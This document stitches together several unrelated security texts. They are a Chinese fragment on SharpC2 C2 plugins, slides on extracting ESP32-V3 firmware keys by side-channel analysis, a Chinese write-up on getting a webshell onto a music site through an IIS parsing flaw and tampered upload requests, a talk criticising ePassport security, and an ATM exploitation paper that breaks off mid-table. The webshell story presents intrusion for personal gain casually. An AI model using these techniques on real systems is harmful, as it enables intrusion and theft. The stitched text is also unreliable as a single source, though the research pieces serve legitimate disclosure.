DeserializerBuilder().IgnoreUnmatchedProperties().Build();    foreach (var file in files)   {        var yaml = File.ReadAllText(file);        // yaml文件反序列化        var tasks = yamlDotNet.Deserialize<List<TaskDefinition>>(yaml);        // 将反序列化对象添加到 AgentTasks中        AgentTasks.AddRange(tasks);   } } Shared\Misc\GenericObjectResult.cs 继续跟进 Client\Command\SendAgentCommand.cs 在这个方法里有对进行命令判断,从已有的模块中以alias别名搜索,如果搜索不到就直接设置 task为null, 然后SubmitAgentCommand 提交命令; 由于作者没有提供给插件设置别名,我们手 动new TaskDefinition实例 执行我们的命令(这里仅作演示以及插件规范的编写,至于如何对插件信息进行补全需要单独设计) TaskDefinition类 有些成员不需要被反序列化,可以不设置初始值 插件DemoModule这里 作者有个小失误,参数类型传递错误了,修改为AgentTask即可 其他功能模块编写参考: Stage\Modules\ 也可以参考 Dev版本的 mimikatz, powerpick等; 至于是否使用WPF搭配GUI,具体根据需求而定。 Thinging > 在整理完插件机制功能后如果你问我最大的感受是什么,我觉得是控制端,TeamServer,Beacon3 端交互的点很重要。比如这里面模块,命令,参数的构造和解析以及是否容易扩展都是一款C2相 当重要的功能。 #碎碎念 stageless怎么加载beacon也即是 agent.dll,之前在分析 SharpC2 beacon无法上线时已经分析过 了; 这里简单做个拓展 Agent\Stage\Stage.cs 如果觉得load-module 加载不满足实际需求,可能需要健壮beacon的功能,例如sharpc2缺失一 些内网后渗透的功能,也可以在这里面提前注册好
pdf
Unlimited Results: Breaking Firmware Encryption of ESP32-V3 Karim M. Abdellatif, Olivier H´eriveaux, and Adrian Thillard Motivation • ESP32 is deployed in hundreds of million devices as announced by Espressif 1 • ESP32-V3 has been recently used as the main MCU in Jade hardware wallet (Blockstream)2 • Encrypted firmware is stored in the external flash • The encryption key is stored in the eFuses of ESP32-V3 1Espressif, ”Espressif Achieves the 100-Million Target for IoT Chip Shipments”, 2018 2https://blockstream.com/jade/ 2 Motivation • ESP32 is deployed in hundreds of million devices as announced by Espressif 1 • ESP32-V3 has been recently used as the main MCU in Jade hardware wallet (Blockstream)2 • Encrypted firmware is stored in the external flash • The encryption key is stored in the eFuses of ESP32-V3 Jade wallet ESP32-V3 + external flash 1Espressif, ”Espressif Achieves the 100-Million Target for IoT Chip Shipments”, 2018 2https://blockstream.com/jade/ 2 ESP32-V1 vs ESP32-V3 ESP32-V1 • Flash encryption and secure boot were broken by LimitedResults3 in 2019 • During the power-up eFuse protection bits are manipulated • The main idea is to glitch the chip during the power-up 3LimitedResults, ”Fatal Fury On ESP32: Time to Release HW Exploits”, Blackhat Europe 2019 3 ESP32-V1 vs ESP32-V3 ESP32-V1 • Flash encryption and secure boot were broken by LimitedResults3 in 2019 • During the power-up eFuse protection bits are manipulated • The main idea is to glitch the chip during the power-up ESP32-V3 • In the market since 2020 as a reaction against the previous attack • New secure boot mechanism • It is hardened against fault injection attacks in hardware and software as announced by the vendor 3LimitedResults, ”Fatal Fury On ESP32: Time to Release HW Exploits”, Blackhat Europe 2019 3 Outline ESP32 Security Analysis Fault Injection Setup EMFI on ESP32-V1 EMFI on ESP32-V3 Breaking Firmware Encryption by SCAs Practical Attack Vendor reply and Conclusion 4 ESP32 SECURITY ANALYSIS Security features • Secure boot • Flash memory encryption • 1024-bit OTP, up to 768 bits for customers • Cryptographic hardware accelerators: AES, SHA-2, RSA, Elliptic Curve Cryptography (ECC), and Random Number Generator (RNG) • esptool4 can be used to configure the above features Source: Espressif 4https://github.com/espressif/esptool 6 eFuse organization User Application Reserved (System Purposes) Flash Encryption Key Secure Boot Key BLK0 BLK1 BLK2 BLK3 • ESP32 (including V3) has a 1024-bits eFuse memory • It is divided into 4 blocks of 256 bits each • After burning these keys, can not be accessed (or updated) by any software • Only the ESP32 hardware can read and use BLK1 and BLK2 for performing secure boot and flash encryption 7 Secure boot V1 Digest = SHA-512(AES-256((Bootloader ∥ public key), BLK2))) (1) 1 b u r n e f u s e ABS DONE 0 Bootloader || Public key Digest 0x1000 eFuse BLK2 AES-256 SHA-512 CMP Continue or Not Flash 0x00 Key Signature verification 8 Flash encryption • It encrypts all the flash content using AES-256 with BLK1 and stores it in the external memory • Flash encryption uses AES decryption • Flash decryption uses AES encryption • During the power-up, the decryption process is performed • BLK1 is “tweaked” with the offset address of each 32 bytes block of flash 1 burn key f l a s h e n c r y p t i o n encKey . bin 2 b u r n e f u s e FLASH CRYPT CONFIG 0 xf 3 b u r n e f u s e FLASH CRYPT CNT Flash SPI Interface eFuse BLK1 AES-256 Cache ESP32 CPU Bootloader = partition-table = ota_data_initial = Firmware = 0x1000 0x9000 0xE000 0x10000 Key Key tweak address + Flash decryption 9 LimitedResults attack • eFuse protection bits are manipulated during the power-up • Injecting faults using power glitching during the power-up can perturb these bits • eFuse slots were attacked 1 Reset ESP32 2 ReadeFuse Source: LimitedResults 10 FAULT INJECTION SETUP Fault attacks • Perturbing the chip during sensitive operations • Secure boot 5 • Cryptographic operations (AES, DES, RSA, ...) 6 5Albert Spruyt and Niek Timmers, ”Bypassing Secure Boot Using Fault Injection”, Black Hat Europe 2016. 6Yifan Lu, ”Attacking Hardware AES of PlayStation with DFA”, 2019 12 Electromagnetic injection • High voltage pulse is injected to the probe to create EMFI • Localized faults • Decapping the chip is not important (it depends) EM Setup 7 7Karim Abdellatif and Olivier H´eriveaux , ”SiliconToaster: A Cheap and Programmable EM Injector for Extracting Secrets”, FDTC 2020. 13 A PCB for ESP32 • For a stable setup, a PCB was fabricated • ESP32 + external flash • Several VDD pins are out to control • An external oscillator Fabricated PCB 14 Setup • SiliconToaster for EM injection • ESP32 on a scaffold8 board • An oscilloscope • XYZ table EM setup 8Olivier Heriveaux, ”https://github.com/Ledger-Donjon/scaffold” 15 Attack Plan 1 EM evaluation of ESP32-V1 using a glitchable application 2 Reproducing eFuse attack of LimitedResults by EM 3 EM evaluation of ESP32-V3 using a glitchable application 4 Performing eFuse attack on ESP32-V3 16 EMFI ON ESP32-V1 Glitchable application Glitchable code EM probe scans the overall surface 18 Successful faults • EM pulse = 500V • Positive polarity • 500 trials per spot • Motor step = 0.2mm Vulnerable spots After being sure from the setup settings, next step is to attack the eFuse slots. 19 eFuse attack of ESP32-V1 1 burn key f l a s h e n c r y p t i o n encKey . bin 2 b u r n e f u s e FLASH CRYPT CONFIG 0 xf 3 b u r n e f u s e FLASH CRYPT CNT Power consumption during the power-up 20 Attack scenario Attack scenario 21 Successful faults Experiment log 22 Successful faults Power trace in case of a successful fault Spots of eFuse successful attack 23 Discussion on ESP32-V1 1 With EMFI, we managed to dump the eFuse slots of ESP32-V1 2 Only ONE single fault has been needed for this attack 3 The success rate is close to 0.6% 24 EMFI ON ESP32-V3 Recapping Espressif’s countermeasures 1 New secure boot mechanism based on RSA 2 It is hardened against fault injection attacks in hardware and software as announced by the vendor 3 UART-disable to prevent eFuse reading command 26 Glitchable application Glitchable code EM probe scans the overall surface 27 Successful faults • EM pulse = 500V • Positive polarity • 500 trials per spot • Motor step = 0.2mm Vulnerable spots This confirms that ESP32-V3, is not hardened against fault injection attacks. 28 eFuse attack of ESP32-V3 1 burn key f l a s h e n c r y p t i o n encKey . bin 2 b u r n e f u s e FLASH CRYPT CONFIG 0 xf 3 b u r n e f u s e FLASH CRYPT CNT 29 eFuse attack of ESP32-V3 1 burn key f l a s h e n c r y p t i o n encKey . bin 2 b u r n e f u s e FLASH CRYPT CONFIG 0 xf 3 b u r n e f u s e FLASH CRYPT CNT Power-up of ESP32-V3 29 eFuse attack of ESP32-V3 1 burn key f l a s h e n c r y p t i o n encKey . bin 2 b u r n e f u s e FLASH CRYPT CONFIG 0 xf 3 b u r n e f u s e FLASH CRYPT CNT Power-up of ESP32-V3 Power-up of ESP32-V1 29 Attack plan Multiple faults 30 Multiple Faults Power trace in case of multiple faults Spots of Timeout The chip got crashed because of the multiple EM pulses. 31 Discussion on ESP32-V3 1 ESP32-V3 has a different boot ROM with countermeasures against fault injection 2 Multiple faults are needed 3 Until now, we haven’t succeeded 32 BREAKING FIRMWARE ENCRYPTION BY SCAS Moving to another attack path • Motivation • A difficult attack using fault injection because of the boot ROM countermeasures • Another attack path • A SCA on the flash encryption mechanism • Targeting the encryption process during the power up • Controlling the flash content to perform a CPA 34 Leakage detection • A methodology to identify leakage moments which contain sensitive information • It reduces the computation complexity of security evaluation and improves the efficiency of the SCAs • Several methods have been used to identify the amount of leakage such as SNR and NICV9 SNR = Var(E(x|y)) E(Var(x|y)) (2) 9S. Bhasin, J. Danger, and S. Guilley , ”NICV: Normalized Inter-Class Variance for Detection of Side-Channel Leakage”, SEC 2014 35 Correlation Power Analysis (CPA10) T#1 T#2 T#n m 0 1 L 0 1 L 0 1 L T1 T2 Tn + Key = 0 Key = 1 Key = 256 Plaintext 1 Plaintext 2 Plaintext n 0 1 255 0 1 0 1 m1 m2 mn 255 255 Correlation 0 1 L 0 1 0 1 L 255 L Key = 0 Model Measurements Key = 0xAA Max() S-box HW Key = 1 Key = 255 10E. Brier, C. Clavier, and F. Olivier , ”Correlation Power analysis with a leakage model”, CHES 2004 36 Side-channel attack setup • High-end oscilloscope (6.25 Gs/s) • ESP32 on a scaffold board • Flash encryption has been enabled SC setup 37 Flash encryption • It encrypts all the flash content using AES-256 with BLK1 and stores it in the external memory • During the power-up, the decryption process is performed • First firmware part to get decrypted is the bootloader (stored at 0x1000) • BLK1 is “tweaked” with the offset address of each 32 bytes block of flash Flash SPI Interface eFuse BLK1 AES-256 Cache ESP32 CPU Bootloader = partition-table = ota_data_initial = Firmware = 0x1000 0x9000 0xE000 0x10000 Key Key tweak address + Flash decryption 38 Flash decryption during power-up Power up with flash encryption 39 Scenario Algorithm 1: Traces measurement sequence Data: N = No. traces = 100000 i = 0; while True do FlashData = Random(32); EraseFlash(); WriteFlash(FlashData,address = 0x1000); ChipRestart(); CaptureTrace(); i += 1; if (i == N) then break; 40 SNR on zone A Power trace + SNR on zone A 41 SNR on zone B Power trace + SNR on zone B 42 SNR on Ciphertext SNR on Ciphertexts 43 CPA results Correlation of Key[3] using 100K traces 44 Flash limitations 1 The flash is limited in writing/erasing (around 110K times) 2 As a result, number of max traces = 100K 3 Flash emulator was designed on scaffold 45 Power traces with flash emulator 46 CPA result Correlation of Key[3] using 300K traces Modelround0[i] = HW (Sbox[P[i] ⊕ guess]) (3) Modelround1[i] = HW (Sbox[State1[i] ⊕ guess] ⊕ Sbox[P[i] ⊕ K[i]]) (4) 47 Success rate Success rate 48 Activating all security features 1 Secure boot 2 UART disable 49 Success rate S 50 PRACTICAL ATTACK Jade wallet • Jade11 is an open-source and open-hardware • It doesn’t store the user PIN in the external flash • The PIN verification is performed remotely on the Blockstream’s server by blind pin server 12 • The external flash contains the user’s private and public keys to communicate with this server Jade wallet ESP32-V3 + external flash 11https://github.com/Blockstream/Jade 12https://github.com/Blockstream/blind pin server 52 Success rate 53 Jade wallet Encrypted firmware Decrypted firmware 54 Jade wallet Encrypted firmware Decrypted firmware Cloning the wallet + Injecting a backdoor to perform transactions to substituted addresses = evil maid attack 54 VENDOR REPLY AND CONCLUSION Espressif’s reply • First e-mail was sent in October 2021 • ESP32-S2, ESP32-C3 and ESP32-S3 are also impacted • Future products from Espressif will contain countermeasures against SCAs Espressif’s advisory 56 Conclusion • By experimental results, ESP32-V3 has a hardened boot ROM against fault injection (FI) 57 Conclusion • By experimental results, ESP32-V3 has a hardened boot ROM against fault injection (FI) • The presented side-channel attack is generic and works on all products based on all ESP32 versions (including V3) 57 Conclusion • By experimental results, ESP32-V3 has a hardened boot ROM against fault injection (FI) • The presented side-channel attack is generic and works on all products based on all ESP32 versions (including V3) • Protection against fault injection (FI) doesn’t prevent side-channel attacks (SCAs) 57 THANK YOU. QUESTIONS? Karim M. Abdellatif, PhD e-mail: [email protected] 58
pdf
0x00:前⾔ 某天测⼚商业务时,发现其中有⼀个提供⾳乐播放业务的资产,正好⾥⾯有我想听的歌,于是就有了这篇⽂章 0x01:信息收集 F12简单看下⽬标信息环境: ServerSoft:IIS 7.5 CMS:JYMusic(ThinkPHP) 0x02:开搞和碰壁 抱着试试看的⼼态随便找了个资源⽂件试了发解析漏洞,没想到成功了,那么现在只需要找到上传点就能getshell 了。 常⻅的编辑器 Ueditor/Umeditor Kindeditor ckeditor/ckfinder 程序上传点 头像/⽂章/附件... 上传组件 ⽬标站开放注册,登录后发现存在头像上传功能,原以为直接可以搞定了,结果却不尽⼈意,应该是⼆次渲染 了。。。 试了上传⼀些⼆次渲染后仍能执⾏的Webshell后依然发现⽆法正常getshell,看样得放弃头像这个地⽅了 0x03:柳暗花明⼜⼀村 既然头像上传⾛不通那么只能另寻出路,分享⾳乐功能被改成⼈⼯审核,但是猜测接⼝还是存在的。 这⾥通过fofa找到⼀个功能正常的站点,以下称为www.bbb.com 这个站点的分享⾳乐功能是正常的 直接上传⾳乐⽂件 ⽂件正常上传,但是没有返回路径emmm,提交试试。 wtf,没有分类数据咋办,祭出神器F12给select标签加⼀个有value值的option。 提示分享成功,查看审核列表也有了,编辑发现ID为23,⾸⻚随便点进去⼀个发现id为21。 同时发现接⼝可以获取⾳乐上传路径,替换为ID=23后取得路径。 那么思路就来了,把www.bbb.com的操作在www.aaa.com重现⼀遍即可 直接把bbb.com上传⾳乐⽂件的请求,移花接⽊到aaa.com上(burp改包host和cookie,提交时改fileid)。 通过解析漏洞访问我们后缀名为MP3的webshell ⾄此成功getshell
pdf
Security by Politics - Why it will never work Lukas Grunwald DN-Systems GmbH Germany DefCon 15 – Las Vegas USA Agenda Motivation Some basics Brief overview ePassport (MRTD) Why cloning? How to attack the system BAC (Basic Access Control) EAC (Extended Access Control) Enrollment: Unexpected risks Motivation - MRTD This image is a work of a Federal Bureau of Investigation employee, taken or made during the course of an employee's official duties. As a work of the U.S. federal government, the image is in the public domain. The Government’s Dream Multi biometric, double gates, anti Multi biometric, double gates, anti--tailgating, lightly tailgating, lightly-- supervised (to maintain non supervised (to maintain non--automated entry channels) automated entry channels) The Industry’s Solution Government first asked Security Print Shops These are general and global print shops Extensive know-how in secure printing No know-how in IT security / cryptography Never done an IT security project Security Print Shops asked Smart Card Industry Focus on selling their products Advocates multi-purpose use Industry Ideas for the ePassport Multi-purpose use Identical design for national ID cards Use for electronic banking eGovernment Electronic signature Email encryption ID and travel / Passport Electronic payment Design Goals Use of cryptography / PKI Heavy use of biometrics 100% security against counterfeiting Improve facilitation Minimize time spent on legitimate travelers Segmentation of low-, high- risk travelers Minimize immigration time for traveler Design Approach Setting up a standards group at the ICAO Stuffed with printing experts Some crypto experts Only worked on algorithm level No one knows about implementation Driven by RFID manufactures No one looked at risks / design goals (KISS) Problems with Patents To store biometric data, typically a HASH is generated and stored (for fast comparison) Most of these HASHES are patented ICAO stores pictures of facial image JEPG or JEPG2000 Same with fingerprints Compromises don't work with security ePassports This image is a work of a United States Department of Homeland Security employee, taken or made during the course of an employee's official duties. As a work of the U.S. federal government, the image is in the public domain. MRTD Machine Readable Travel Document aka Electronic Passports (ePassports) Specifications by ICAO (International Civil Aviation Organization) Enrollment on a global basis ePass from Germany RFID tag embedded into the cover Produced by the Bundesdruckerei GmbH No shield, readable even when passport cover is closed 2D Code and MRZ Passport with 2D barcode and MRZ (machine readable zone) MRTD Data-Layout LDS (Logical Data Structure) Data is stored in DG (Data Groups) DG1: MRZ information (mandatory) DG2: Portrait image + biometric template (mandatory) DG3-9: Fingerprints, iris image (optional) EF.SOD: Security Object Data (cryptographic signatures) EF.COM: List of existing Data Groups Data is stored BER-encoded like ASN.1 DG2-DG4 uses CBEFF for encoding (Common Biometric File Format, ISO 19785) MRTD Security Features Random UID for each activation Normally all ISO 14443 transponders have a fixed unique serial number The UID is used for anti-collision Prevent tracking of owner without access control Problem: ICAO MRTD specs don't require unique serial number Only some countries will generate random serial numbers Passive Authentication This method is mandatory for all passports Method of proof that the passport files are signed by issuing country Inspection system to verify the hash of DG's EF.SOD contains individual signatures for each DG EF.SOD itself is signed Document signer public key from PKD / bilateral channels Document signer public key can be stored on the passport Useful only if country’s root CA public key known Signed Data EF.DG2 EF.DG3 EF.COM EF.DG1 HASH over Data HASH over Data HASH over HASH HASH Signed by Country CA EF.SOD Password on Monitor? Basic Access Control Grants access to data after inspection systems are authorized Authorization through the Machine Readable Zone (MRZ) Nine digit document number In many countries: issuing authority + incrementing number Six digit date of birth Can be guessed or assumed to be a valid date Six digit expiry date 16 most significant bytes of SHA1-hash over MRZ_info are used as 3DES key for S/M (ISO7816 secure messaging) Some European passports (Belgium) don’t have BAC BAC The access key is printed on the passport Many times the passport is put on a Xerox machine in: Hotels Rentals (cars, ski, …) Shops (cell phones, ...) The data from the MRZ is stored in many private databases (airlines, banks …) BAC And Traceability With the BAC handshake data known, the random unique ID is worthless the MRTD is traceable access to the content (LDS-DG.1 &DG.2) is possible access to the SOD is possible Extended Access Control Optional method (EAC) Should prevent the unauthorized access to biometric data Not internationally standardized Implemented only by individual issuers Only shared with those countries that are allowed access Access is only possible with certificates from issuing country Where is my clock? Inspection of CV-Certs The MRTD does not have any reliable and secure time information Once a CV is captured, all MRTDs which have been read using a CV issued earlier could be accessed The biometric data is accessible as well The MRTD can not verify the validity of the timestamp from a CV certificate A false CV certificate with an issue date far out in the future can deactivate the MRTD permanently EAC Risks A false CV certificate can deactivate the MRTD permanently A rogue regime could misuse the CV certificates to obtain fingerprints from passport holders With these fingerprints it is possible to produce false evidence PKI Integration X.509 Certificates Every issuer operates a self-controlled CA Signer keys are derived from CA root Public keys are distributed via ICAO PKD Everyone can verify It is not possible to revoke a certificate on the MRTD Why Cloning of Passports? The normal tags are read-only Data could be retrieved from an issued passport Deactivation of issued passport (microwave oven) Cloned tag behaves like an “official” ePassport Cloned tag could be extended with exploits Exploit could attack inspection system, backend or databases Inspection Systems Inspection systems should be evaluated Off-the-shelf PCs are too complex to be formally validated for correctness MRTD uses JPEG2000 JPEG2000 is very complicated Easy to exploit For example, see CVE number CVE-2006- 4391 Metasploit and other toolkits make it easy A Vendor’s Design of an Inspection System Uses “off-the-shelf” PC´s RFID-Reader is “Designed for Windows XP” No security improvement of the software Just like inserting a USB stick containing unknown data into the inspection system Problem With The Procedure Data enters the officer's Inspection System at border Create HASH over pay load Make inspection decision Read Read RFID chip from passport Decode LDS Decode BER in memory structures Other DG Process other DG Compare Payload HASH with stored data Accept or reject ePassport First, read, data from the RFID chip Then, parse the structures Decode the payload Finally, verify the document cryptographically Biometric Data Data should be reduced to hashes only But fingerprints will be stored as pictures Reverse-engineering of fingerprints possible with MRTD data Contrary to any best practice in IT security Chaos of Standards TLV and ASN.1 not correctly implemented Redundant meta formats for biometric data If signing key is lost, the whole country is doomed First, the data must be parsed, then it can be verified Design was made by politicians and not by IT security experts It is possible to manipulate data Snake Oil Warning “Trust us, we - the experts - know what we're doing” “We removed the standards from the ICAO website, now we are safe” “Grunwald used the primary purpose of the passport: he read it - there is no security risk” “The RFID chip will be protected by the security features of the printed paper in the passport” More Quotes After a short version of this presentation at the “Security Document World 2007” in London I got this comment from a responsible person at the ICAO: “It’s right that these security flaws could harm an IT system, but we have to keep in mind, the ePassport is a security document and has nothing to do with IT systems” Thank You Questions?
pdf
Applied Ca$h Eviction through ATM Exploitation Trey Keown Red Balloon Security New York, USA [email protected] Brenda So Red Balloon Security New York, USA [email protected] Abstract—Automated Teller Machines (ATMs) are among the oldest devices to be connected to a network. Despite this, the high barrier to entry for legal reverse engineering efforts has resulted in largescale ATM deployment without the testing that would be expected of machines where the cost of compromise can be measured in the number of bills dispensed. Our research examines retail ATMs from a reverse engineer’s perspective and details two network-accessible vulnerabilities we discovered as a result – a buffer overflow in the Remote Management System (RMS), and a remote command injection via the eXtensions for Financial Services (XFS) interface. These vulnerabilities can lead to arbitrary code execution and jackpotting, respectively. I. INTRODUCTION While the ATMs owned and operated by banks, financial ATMs, often have a more compelling case to be well-secured, the retail ATMs found scattered across gas stations and con- venience stores are often an offering more focused on getting the price right. One such cost-effective ATM is the Nautilus Hyosung HALO II [1]. Our initial interest in the ATM came by the virtue that, as a computer which dispenses money, it is an attractive platform to use as a base for an information security challenge [2]. Initial work involved creating a payment processor for handling ATM transactions – for this, we developed a server supporting the Triton Standard [3]. Further work involved reverse engineering the ATM itself. This was aided by the availability of a firmware update, a JTAG port that was accessible with hardware modifications, and a lack of signature checking prior to applying full firmware updates. II. INITIAL REVERSE ENGINEERING Our target ATM is based on an architecture reused across a number of the Nautilus Hyosung’s other price-conscious ATMs – Windows CE 6.0 (officially end-of-life as of April 10, 2018) running on an 800MHz ARM Cortex-A8. The platform of libraries and applications running on top of this is referred to as MoniPlus CE. Figure 1: An example of how a transaction from an ATM is passed along to card networks. In order for the ATM to function normally, it requires a connection to a payment processor. For retail ATMs, a pay- ment processor is typically a third-party vendor that handles upstream interactions with banks, as shown in Figure 1. This communication can be achieved via either TCP or dial-up. A number of protocols can be used over this link, but the one we found most readily accessible was the Triton Standard. A draft copy of this standard [3] is available online. While current implementations do not exactly match this draft, it nonetheless provided an initial guide to implementing a server capable of handling transactions with an ATM. While not functional out of the box, there was an un- populated port on the main board which resembled what would be expected of a JTAG connector. Physically nearby are unpopulated pads with markings implying a resistor should be present. After populating these with an arbitrary low resistor value and performing pin mapping with a JTAGulator [4], we obtained a fully functional debug interface. Firmware for the ATM is publicly available online [5]. It contains the bootloader binary, the kernel binary, and a zip file containing all the application software and libraries. III. REMOTE MANAGEMENT SYSTEM (RMS) In the context of an ATM, a Remote Management Sys- tem (RMS) is a network-based administration interface for owners and administrators to manage a network of ATMs. In the ATM examined in this paper, capabilities of the RMS include (among many others) dumping an ATM’s version and configuration information, collecting transaction history, and remotely updating an ATM’s firmware. Normally, an ATM administrator needs to use a client called MoniView [6] to send commands to the RMS server running on the ATM. In order to authenticate these commands, the ATM’s serial number and RMS password are passed along in the RMS command packet. However, an unauthenticated attacker can send a maliciously crafted packet to the remote RMS endpoint over a network to cause a buffer overflow and corrupt structures used in the cleanup of the RMS control library, RMSCtrl.dll. This corruption can lead to arbitrary code execution and persistence in the ATM, which is further described in the following sections. A. Protocol Description RMS communication between the client and the ATM is obfuscated with values from a lookup table that are XORed 1 with the message plaintext. The format of the RMS packet is shown in Table 1. The encoded data contains the RMS request type as well as the ATM serial number and password that is used to verify the RMS packet. Length Content Description 1 byte STX (0x02) RMS start byte 2 bytes XX XX Data length (n) 1 byte XX Encryption seed n bytes XX... Encoded data 1 byte ETX (0x03) RMS end byte 1 byte XX Longitudinal Redundancy Check (LRC) Table 1: Request RMS packet structure [7] B. RMS Buffer Overflow The vulnerability here is a buffer overflow in an function called by CRmsCtrl::RMS_Proc_Tcp(). This overflow is ultimately caused by a call to memcpy without proper bounds checking, allowing the overflow of a static buffer in the RMS control library, RMSCtrl.dll. Any packet sent to the RMS server of the ATM will initiate the function call in Listing 1, which in turn does the following: char* recv_buffer; CRmsCtrl::RMS_Proc_Tcp(){ int* num_recv_char bool is_connect, is_recv, is_verified; // connects to the RMS server is_connect = CDevCmn::fnNET_RMSConnectAccept() if (is_connect){ memset(recv_buffer, 0, 0x2800); // receives RMS packet is_recv = CRmsCtrl::RMS_Recv(recv_buffer, num_recv_char , 0) if (is_recv){ // verifies RMS packet is_verified = CRmsCtrl::RMS_VerifyMsg(recv_buffer, * num_recv_char); if (is_verified){ // parses message } } } } Listing 1: Pseudo-code of RMS Process 1) fnNET_RMSConnectAccept sets up TCP connec- tion between the ATM and the RMS client, by default on port 5555. 2) RMS_Recv calls fnNET_RMSRecvData, which copies data from the received RMS packet over to a global receive buffer. If the packet is formatted correctly, it then proceeds to decrypt the XOR-encoded data. 3) RMS_VerifyMsg verifies the ATM serial number and RMS password in the decrypted data. 4) If the message is verified, the function then proceeds to parse the packet and generate a response to the RMS client. The fnNET_RMSRecvData function in step 2 does not have bounds or credentials checks on the data received. Moreover, packet verification occurs after the packet has been copied over to the recv_buffer memory location. Thus, as long as the packet adheres to the structure in Table 1, its data is copied over indiscriminately. Any packet larger than 0x2800 bytes will result in a buffer overflow. C. Arbitrary Code Execution The aforementioned overflow eventually overwrites a func- tion pointer that gets invoked when the ATM is shutting down. We also found that the .data section of RMSCtrl.dll is executable, thus we are able to write shellcode that gets executed when the DLL exits. Because there are regions of memory after the overflowed buffer that are never overwritten and aren’t critical for system operation, this shellcode can remain in memory until the device powers off. When the main ATM application exits cleanly, such as when a technician performs a firmware update on the ATM, the shellcode is executed. D. Persistent Memory Modification Through arbitrary code execution, we achieved persistence by modifying memory on the ATM’s Nonvolatile Random- Access Memory (NVRAM) chip. NVRAM is used to store network and configuration information of the ATM, such as enabling or disabling SSL, specifying the payment pro- cessor’s IP address, and storing passwords. The NVRAM can be accessed through two pairs of API functions – MemGetStr and MemGetInt retrieve information from NVRAM, while MemSetStr and MemSetInt update in- formation on NVRAM. The aforementioned shellcode can achieve goals useful to an attacker by updating the ATM’s configuration to disable SSL, redirecting transactions to a malicious payment processor, or changing passwords to a value known by the attacker. Since this configuration data persists across reboots, modifications to the NVRAM provide a simple way for an attacker to apply persistent, malicious changes. IV. CEN EXTENSIONS FOR FINANCIAL SERVICES (XFS) The European Committee for Standardization (CEN) is the maintainer of a standard for ATMs called eXtensions for Financial Services, or XFS. This standard is derived from one originally created by Microsoft in an effort to create a common platform for financial devices running on Windows, a role the standard still fulfills to this day. XFS plays an important role in the ATM industry, acting as the platform targeted by both high- level and low-level software running on ATMs. It exposes a homogenized interface for working with different components in ATMs (and other financial devices), such as pinpads, cash dispensers, and card readers. A. Introduction to XFS XFS defines a set of interfaces with the aim of unifying the ways in which financial applications on Microsoft Windows interact with related pieces of hardware. This is accomplished through a client/server architecture as seen in Figure 2. The financial frontend interacts with the XFS API, while the 2 service providers, which handle interactions with hardware, use the corresponding XFS Service Provider Interface (SPI). The translation and dispatch of these messages is handled by the XFS Manager. For our purposes, we will refer to all the vendor-created components of XFS as the XFS middleware. The XFS middleware implementation used with MoniPlus CE is called Nextware [8]. Figure 2: XFS client/server architecture as seen in the reference documentation [9] There are a number of device classes defined as a part of the standard. A listing with corresponding abbreviations is shown in Table 2. Service Class Class Name Class Identifier Printers PTR 1 Identification Card Units IDC 2 Cash Dispensers CDM 3 PIN Pads PIN 4 Check Readers and Scanners CHK 5 Depository Units DEP 6 Text Terminal Units TTU 7 Sensors and Indicators Units SIU 8 Vendor Dependent Mode VDM 9 Cameras CAM 10 Alarms ALM 11 Card Embossing Units CEU 12 Cash-In Modules CIM 13 Card Dispensers CRD 14 Barcode Readers BCR 15 Item Processing Modules IPM 16 Table 2: XFS Device Classes A number of actions associated with each device class are defined as part of the XFS standard. For example, the devices defined by the standard which are responsible for working with credit and debit cards are called Identification Card units (IDCs). The IDC standard defines constants for commands that can be executed such as READ_TRACK, EJECT_CARD, and CHIP_IO [10]. These commands will be called when the primary application (in this case, WinAtm.exe) needs to control or query a device. Due to the fact that XFS exposes a homogenized interface for interfacing with different financial devices, it becomes not only an attractive target for the ATM industry, but also for malware authors. Numerous ATM-related pieces of malware, such as GreenDispenser [11] and RIPPER [12], utilize XFS for interfacing with the card reader, pinpad, and cash dispenser. These interactions are performed in a payload after being dropped on the ATM by some other means, normally by taking advantage of physical access to the device. B. Nextware – XFS Middleware Implementation In order to facilitate XFS message passing between different components that make up the XFS middleware, Nextware uses TCP socket-based Inter-Process Communication (IPC). This is a reasonable choice given the lack of many standard Windows IPC features on Windows CE [13]. However, a problem arises when these sockets are misconfigured. When creating the sockets, the listening address is given as 0.0.0.0 instead of 127.0.0.1, meaning that instead of listening only to IPC messages on the loopback device, the local server will listen to messages from any network device. This misconfiguration is reflected in a port scan, shown in Table 3. Port Open By Default Description 80 Yes Default Windows CE Webserver 443 Yes Default Windows CE Webserver 5555 No Remote Management Service (RMS) 8001 Yes SIU (Sensors, Indicators, etc.) 8003 Yes IDC (Card Reader) 8004 Yes CDM (Cash Dispenser) 8006 Yes PIN (PIN Pad) 8010 Yes PTR (Receipt Printer) Table 3: Open TCP Ports While the purpose of these ports was not initially under- stood, a scan of the registry provided a strong hint. A number of XFS configuration keys are stored in the HKEY_USERS registry hive. An excerpt of the configuration for the cash dispenser device class is shown in Listing 2. CashDispenser\Provider:CashDispenser (String) CashDispenser\port:8004 (DWord) CashDispenser\Class:CDM (String) CashDispenser\Type:CDM (String) Listing 2: Excerpt of registry entries for one peripheral under HKEY_USERS\.DEFAULT\XFS\LOGICAL_SERVICES Attempts to obtain output from these ports was initially unsuccessful - any unknown message causes the port to refuse further input. Further analysis revealed that messages outside the expected format caused the IPC mechanism to be put in an unknown state. Complicating efforts to integrate with the sockets in this manner was a lack of any documentation on the message format used here. Capturing network traffic on the loopback interface would help with deciphering the message format required to successfully send an XFS message, but this sort of packet capture was not straightforward. 3 C. Dumping Network Traffic – The Hard Way Working with Windows CE 6.0 is a complicated affair. As of 2019, the initial release of this version was 13 years ago, and the latest major release was 10 years ago. As such, any tools required becomes more difficult to source. Interfacing with the ATM in general was frustrating, though a positive note for security, due to the fact that this device ships without any keyboard or mouse drivers. Capturing network traffic on the device, while possible [14], is hindered by these complications and the fact that the image shipped on the device isn’t built with this support. As such, the most straightforward method for proceeding is to identify locations where the IPC mechanism makes calls to the socket, recv, and send functions of Winsock 2 [15]. Since Address Space Layout Randomization (ASLR) is not active on this platform, knowledge of the loading address of these functions can be utilized across device reboots. Tracing calls to the socket function exposes which under- lying service owns a given socket handle used in the recv and send functions, revealing what messages are being sent and received by each service. Further analysis revealed that each message contains command data in the format defined by the XFS standard, wrapped by a header. The partially-deciphered format is shown in Table 4. Length Description 1 byte XFS command type (GetInfo, Execute, etc.) 1 byte Unknown1 2 bytes Unknown2 4 bytes Zero (0x00000000) 2 bytes Service handle 2 bytes Unknown3 4 bytes Window handle 4 bytes Unique request ID 4 bytes Timeout 